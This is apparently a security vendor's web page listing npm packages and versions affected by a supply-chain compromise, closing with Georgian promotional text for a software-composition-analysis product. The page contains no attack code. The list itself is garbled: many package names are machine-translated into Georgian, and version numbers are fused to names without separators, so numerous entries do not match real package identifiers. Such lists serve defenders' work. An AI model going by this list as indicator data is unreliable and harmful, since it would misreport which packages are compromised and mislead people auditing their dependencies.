@osmanekrem/error-handler1.2.2
@posthog/აგენტი1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/icons0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/wizard1.18.1
@postman/aether-icons2.23.4, 2.23.3, 2.23.2
@postman/csv-parse4.0.5, 4.0.3, 4.0.4
@postman/node-keytar7.9.6, 7.9.4, 7.9.5
@ფოსტალიონი/გვირაბის აგენტი0.6.7, 0.6.6, 0.6.5
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-მთარგმნელი1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@სეუნგ-ჯუ/შემდეგი0.0.2
@seung-ju/openapi-generator0.0.4
@სეუნგ-ჯუ/რეაქტი-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3 , 2.0.2
@tiaanduplessis/react-progressbar1.0.2 , 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/bool-გამოსახულებები4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/api-კლიენტი1.3.36 , 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas0.6.7 , 0.6.8
@vishadtyagi/სრული წლის კალენდარი0.1.11
@voiceflow/alexa-types2.15.60 , 2.15.61
@voiceflow/anthropic0.4.4 , 0.4.5
@voiceflow/api-sdk3.28.58 , 3.28.59
@voiceflow/backend-utils5.0.2 , 5.0.1
@voiceflow/base-types2.136.3 , 2.136.2
@voiceflow/body-parser1.21.2 , 1.21.3
@voiceflow/chat-types2.14.59 , 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1 , 0.2.2
@ხმის ნაკადი/commitlint-კონფიგურაცია2.6.2 , 2.6.1
@voiceflow/common8.9.1 , 8.9.2
@voiceflow/default-prompt-wrappers1.7.4 , 1.7.3
@voiceflow/dependency-cruiser-config1.8.12 , 1.8.11
@voiceflow/dtos-interact1.40.2 , 1.40.1
@ხმის ნაკადი/დაშიფვრა0.3.3 , 0.3.2
@voiceflow/eslint-config7.16.4 , 7.16.5
@voiceflow/eslint-plugin1.6.2 , 1.6.1
@voiceflow/გამონაკლისი1.10.2 , 1.10.1
@voiceflow/fetch1.11.1 , 1.11.2
@voiceflow/general-types3.2.23 , 3.2.22
@voiceflow/git-branch-check1.4.4 , 1.4.3
@voiceflow/google-dfes-types2.17.12 , 2.17.13
@voiceflow/google-ის ტიპები2.21.12 , 2.21.13
@voiceflow/husky-config1.3.1 , 1.3.2
@voiceflow/logger2.4.3 , 2.4.2
@voiceflow/მეტრიკა1.5.2 , 1.5.1
@voiceflow/natural-language-commander0.5.2 , 0.5.3
@voiceflow/nestjs-common2.75.2 , 2.75.3
@voiceflow/nestjs-mongodb1.3.1 , 1.3.2
@voiceflow/nestjs-rate-limit1.3.3 , 1.3.2
@voiceflow/nestjs-redis1.3.1 , 1.3.2
@voiceflow/nestjs-timeout1.3.1 , 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1 , 1.1.2
@voiceflow/openai3.2.2 , 3.2.3
@voiceflow/pino6.11.4 , 6.11.3
@voiceflow/pino-pretty4.4.2 , 4.4.1
@voiceflow/prettier-config1.10.2 , 1.10.1
@voiceflow/react-chat1.65.4 , 1.65.3
@voiceflow/runtime1.29.1 , 1.29.2
@voiceflow/runtime-client-js1.17.3 , 1.17.2
@voiceflow/sdk-runtime1.43.2 , 1.43.1
@voiceflow/secrets-provider1.9.3 , 1.9.2
@voiceflow/semantic-release-config1.4.2 , 1.4.1
@voiceflow/serverless-plugin-typescript2.1.7 , 2.1.8
@voiceflow/slate-serializer1.7.4 , 1.7.3
@voiceflow/stitches-react2.3.3 , 2.3.2
@voiceflow/storybook-config1.2.2 , 1.2.3
@voiceflow/stylelint-config1.1.1 , 1.1.2
@voiceflow/test-common2.1.1 , 2.1.2
@voiceflow/tsconfig1.12.2 , 1.12.1
@voiceflow/tsconfig-paths1.1.5 , 1.1.4
@voiceflow/utils-designer1.74.19 , 1.74.20
@voiceflow/verror1.1.5 , 1.1.4
@voiceflow/vite-config2.6.2 , 2.6.3
@voiceflow/vitest-config1.10.3 , 1.10.2
@ხმის ნაკადი/ხმის ტიპები2.10.59 , 2.10.58
@voiceflow/voiceflow-ტიპები3.32.45 , 3.32.46
@ხმის ნაკადი/ვიჯეტი1.7.18 , 1.7.19
@zapier/ai-actions0.1.20, 0.1.19, 0.1.18
@zapier/babel-preset-zapier6.4.2, 6.4.1, 6.4.3
@zapier/browserslist-config-zapier1.0.4, 1.0.3, 1.0.5
@zapier/secret-scrubber1.1.5, 1.1.4, 1.1.3
ai-crowl-shield1.0.7
რკალი-კლი-ფკ1.0.1
ასინკაპის გადახედვა1.0.2 , 1.0.1
ატრიქსი1.0.1
ავტომატიზაციის_მოდელი1.0.491
აქსიოს-მშენებელი1.2.1
axios-ის გაუქმებადი1.0.2 , 1.0.1
აქსიოს-დროით განსაზღვრული1.0.2 , 1.0.1
ძირითადი css1.1.4 , 1.1.3
ბენმოსტინის ჩარჩოს ანაბეჭდი1.0.1
საუკეთესოgpioკონტროლერი1.0.10
ორმხრივი ადაპტერი1.2.2, 1.2.4, 1.2.5, 1.2.3
blinqio-შესრულებები-cli1.0.41
blob-to-base641.0.3
bun-plugin-httpfile0.1.1
bytecode-checker-cli1.0.11, 1.0.8, 1.0.9, 1.0.10
ბაიტები-x-მდე1.0.1
სესხის პროცენტის გამოთვლა1.0.4
capacitor-plugin-apptrackingios0.0.21
კონდენსატორის-დანამატის-შეძენა0.1.1
capacitor-plugin-scgsშესვლაGoogle-თან0.0.5
კონდენსატორის-შეძენის-ისტორია0.0.10
კონდენსატორის-ხმის-ჩამწერი-wav6.0.3
chrome-გაფართოების-ჩამოტვირთვები0.0.3 , 0.0.4
claude-token-updater1.0.3
coinmarketcap-api3.1.3 , 3.1.2
ფერები-რეგულარული2.0.1
კომანდ-ირეილი0.5.4
შედარება-obj1.1.1 , 1.1.2
კომპოზიტური რედუქტორი1.0.4, 1.0.3, 1.0.2, 1.0.5
უკუთვლა1.0.2 , 1.0.1
პროცესორის ინსტრუქციები0.0.14
დირექტორის შექმნის აპლიკაცია0.1.1
create-glee-app0.2.3 , 0.2.2
create-hardhat3-app1.1.4, 1.1.3, 1.1.1, 1.1.2
კრიპტო-ადრა-კოდეკი0.1.9
css-dedoupe0.1.2
dashboard-ცარიელი მდგომარეობა1.0.3
დიზაინსტუდიოუიუქს1.0.1
devstart-cli1.0.6
დიალოგის ნაკადი1.1.4, 1.1.3, 1.1.1, 1.1.2
discord-bot-სერვერი0.1.2
docusaurus-plugin-vanilla-extract1.0.3
არ წახვიდე1.1.2
dotnet-ის შაბლონი0.0.3 , 0.0.4
drop-events-on-property-plugin0.0.2
ელფოსტის მიწოდების ტესტერი1.1.1
ფილიალის სახელის აღსრულება1.1.3
esbuild-plugin-brotli0.2.1
esbuild-plugin-eta0.1.1
esbuild-plugin-httpfile0.4.1
eslint-config-nitpicky4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ეთერიუმ-ენსი0.8.1
evm-checkcode-cli1.0.15, 1.0.12, 1.0.13, 1.0.14
ზუსტი ტიკერი0.3.5
ექსპო-აუდიო-სესია0.2.1
ექსპრესები1.1.3
მსუქანი1.0.2 , 1.0.1
ფუნქციის გადახვევა1.0.2 , 1.0.1
firestore-საძიებო სისტემა1.2.3
fittext1.0.3 , 1.0.2
ფლაპსტეკები1.0.2 , 1.0.1
გაბრტყელება-გაუფლანსება1.0.2 , 1.0.1
formik-შეცდომის ფოკუსი2.0.1
ფორმიკ-მაღაზია1.0.1
ბუნდოვანი მაძიებელი1.0.5 , 1.0.6
gate-evm-check-code22.0.3, 2.0.4, 2.0.5, 2.0.6
gate-evm-tools-ტესტი1.0.7, 1.0.8, 1.0.5, 1.0.6
გეტსბის-პლაგინის-cname1.0.2 , 1.0.1
გენერატორი-მეტეორი-სტოკი0.1.6
გენერატორი-ნგ-იტობუზი0.0.15
მოიპოვეთ არგუმენტები1.3.3
github-action-for-generator2.1.28 , 2.1.27
gitsafe1.0.5
go-template0.1.8 , 0.1.9
gulp-inject-envs1.2.2 , 1.2.1
haufe-axera-api-კლიენტი0.0.1 , 0.0.2
იმედის რუკა0.1.1
იმედის მოზიდვა1.0.3
ჰოვერ-დიზაინის-პროტოტიპი0.0.5
httpness1.0.3 , 1.0.2
ჰიპერ-სრული ფეისინგი1.0.3
ჰიპერტერმიული ჰიპსტერი1.0.7
ids-css1.5.1
იდენტობები-enterprise-mcp-სერვერი0.0.2
იდენტობები-enterprise-ნგ20.1.6
იდენტობები-enterprise-აკრეფები20.1.6
სურათიდან ურიმდე1.0.2 , 1.0.1
უძილობის-მოდულის-შემთხვევითი-არჩევა1.0.4
ინვოისი0.2.2
რკინის ფარის მინი აპლიკაცია0.0.2
იტო-ღილაკი8.0.3
itobuz-კუთხოვანი0.0.1
itobuz-კუთხოვანი-ავტორიზაცია8.0.11
itobuz-კუთხოვანი-ღილაკი8.0.11
ჯეიკობ-ზუმა1.0.2 , 1.0.1
jaetut-varit-ტესტი1.0.2
jan-ბრაუზერი0.13.1
jquery-შეკავშირებები1.1.3 , 1.1.2
jsonsurge1.0.7
უბრალოდ შემწვარი1.7.1
მოკვლის პორტი2.0.3 , 2.0.2
კორეის ადმინისტრაციული არეალი geo json util1.0.7
კვამი1.5.9 , 1.5.10
ენის კოდები1.0.2 , 1.0.1
ლიცენზია-ო-მატიკა1.2.2 , 1.2.1
lint-staged-imagemin1.3.1 , 1.3.2
lite-serper-mcp-სერვერი0.2.2
ლუნო-აპი1.2.3
ხელით გადახდის სისტემის მინიაპლიკაციის API1.3.1
medusa-plugin-announcement0.0.3
medusa-plugin-logs0.0.17
medusa-plugin-momo0.0.68
medusa-plugin-product-reviews-kvy0.0.4
medusa-plugin-zalopay0.0.40
mod10-ის საკონტროლო ციფრი1.0.1
mon-package-react-typescript1.0.1
ჩემი საიდის ლიბ.0.1.1
n8n-კვანძები-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
n8n-კვანძების-ვირუსული-აპლიკაცია0.2.5
ნანოგადატვირთვა7.0.2 , 7.0.1
შემდეგი წრიული დამოკიდებულება1.0.3 , 1.0.2
შემდეგი მარტივი Google Analytics1.1.1 , 1.1.2
შემდეგი სტილის nprogress1.0.4 , 1.0.5
ngx-useful-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
ჩვეულებრივი მაღაზია1.3.1, 1.3.4, 1.3.3, 1.3.2
obj-დან css-მდე1.0.3 , 1.0.2
okta-react-router-65.0.1
ღია ინტერნეტი0.1.1
ორბიტის ყუთის ხატები2.1.3
ორბიტის ნისლეულის ხატვის ინსტრუმენტები1.0.10
ორბიტის ნისლეულის რედაქტორი1.0.2
ორბიტა-საპონი0.43.13
ორკესტრი12.1.2
პაკეტის ტესტერი1.0.1
ამანათის-პლაგინის-აქტივების-ქსეროქსერი1.1.3 , 1.1.2
pdf-ანოტაცია0.0.2
პიკლიტი1.0.1
პიკო-უიდი1.0.4 , 1.0.3
pkg-readme1.1.1
poper-react-sdk0.1.2
პოსტჰოგ-დოკუზავრუსი2.0.6
posthog-js1.297.3
პოსტჰოგ-ნოდი4.18.1, 5.13.3, 5.11.3
posthog-plugin-hello-world1.0.1
პოსტჰოგ-რეაქტის მშობლიური4.11.1 , 4.12.5
posthog-react-native-სესიის-გამეორება1.2.2
პრაიმ-ონ-ტაბლეტი0.0.19
სწრაფი ინჟინერია1.0.50
პატარა მოთხოვნა1.0.3
ra-auth-firebase1.0.3
ra-data-firebase1.0.8 , 1.0.7
რეაქციის კომპონენტების თეგები0.1.9
ექსპორტისთვის მონაცემების რეაქციის1.0.1
react-element-prompt-inspector0.1.18
react-favic1.0.2
რეაქციის კაუჭის ფორმირება3.0.2 , 3.0.1
react-jam-ხატულები1.0.2 , 1.0.1
react-keycloak-კონტექსტი1.0.8 , 1.0.9
react-library-setup0.0.6
რეაქტიული ხაზოვანი დამტვირთავი1.0.2
react-micromodal.js1.0.2 , 1.0.1
react-native-datepicker-მოდალური1.3.1 , 1.3.2
react-native-email2.1.1 , 2.1.2
react-native-fetch2.0.1 , 2.0.2
react-native-get-pixel-dimensions1.0.2 , 1.0.1
react-native-google-maps-directs2.1.2
react-native-jam-ხატები1.0.2 , 1.0.1
react-native-log-level1.2.2 , 1.2.1
react-native-modest-checkbox3.3.1
react-native-modest-storage2.1.1
react-native-phone-call1.2.2 , 1.2.1
react-native-retriable-fetch2.0.1 , 2.0.2
რეაქციის მშობლიური გამოყენების მოდალური1.0.3
react-native-viewfinder1.2.2 , 1.2.1
react-native-websocket1.0.4 , 1.0.3
react-native-worklet-ფუნქციები3.3.3
react-qr-image1.1.1
რედიფი1.0.5
rediff-viewer0.0.7
redux-router-kit1.2.2, 1.2.4, 1.2.3
rollup-plugin-httpfile0.2.1
sa-კომპანიის-რეგისტრაციის-ნომრის-რეგულარული კოდი1.0.2 , 1.0.1
სა-იდ-გენი1.0.4 , 1.0.5
იგივე1.0.3
scgs-კონდენსატორის-გამოწერა1.0.11
scgsffcreator1.0.5
set-nested-prop2.0.1 , 2.0.2
shelf-jwt-სესიები0.1.2
shell-exec1.1.4 , 1.1.3
შინჰან-ლიმიტ-ჯართი1.0.3
უნარების გამოყენება0.1.2 , 0.1.1
სოლომონ-აპი-ისტორიები1.0.2
სოლომონის მესამე ვერსიის ისტორიები1.15.6
სოლომონ-v3-ui-შეფუთვა1.6.1
მანძილის მიხედვით დალაგება2.0.1
სამხრეთ აფრიკის ID-ინფორმაცია1.0.2
stat-fns1.0.1
სართული2.3.2
სუპერ-commit1.0.1
svelte-autocomplete-select1.1.1
მოხდენილი-შემწვარი1.1.3 , 1.1.2
tanstack-shadcn-ცხრილი1.1.5
tcsp2.0.2
tcsp-draw-ტესტი1.0.5
tcsp-ტესტი-vd2.4.4
შაბლონის-ბიბლიოთეკა1.1.4 , 1.1.3
შაბლონის მიკრო-სერვისი1.0.3 , 1.0.2
დაჟინებული მოპოვება2.3.3 , 2.3.2
ტესტის-ჩამოსაწყობი-აპლიკაცია1.0.4, 1.0.3, 1.0.2, 1.0.1
ტესტის ჩაფხუტის აპლიკაცია1.0.4, 1.0.3, 1.0.2, 1.0.1
test23112222-api1.0.1
ტიან1.0.2
token.js-fork0.7.32
trigo-react-აპლიკაცია4.1.2
ტიპური ღობე1.2.2 , 1.2.3
ტიპოფორმ-ორბიტა0.2.27
განუსაზღვრელი უსაფრთხოების ტიპით1.0.4 , 1.0.3
ამაღლებული0.5.4
Play Store-ში ატვირთვა1.0.2 , 1.0.1
url-encode-decode1.0.2 , 1.0.1
შეუნახავი ცვლილებების გამოყენება1.0.9
სამხრეთ აფრიკის ვალიდური პირადობის მოწმობა1.0.3
vf-oss-შაბლონი1.0.4, 1.0.3, 1.0.2, 1.0.1
vite-plugin-httpfile0.2.1
vue-browserupdate-nuxt1.0.5
ვებ-სკრაპერი-mcp1.1.4
ვებ-ტიპები-htmx0.1.1
ვებ-ტიპები-განათებული0.1.1
webpack-loader-httpfile0.2.1
ველნეს-ექსპერტის-გალერეა5.1.1
ვენკი1.0.9 , 1.0.10
zapier-async-storage1.0.3, 1.0.2, 1.0.1
zapier-platform-cli18.0.4, 18.0.3, 18.0.2
zapier-platform-core18.0.4, 18.0.3, 18.0.2
zapier-platform-schema18.0.4, 18.0.3, 18.0.2
zapier-სკრიპტები7.8.3 , 7.8.4
ზუპერ-კლი1.0.1
zuper-sdk1.0.57
ზუპერ-სტრიმი2.0.9
sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად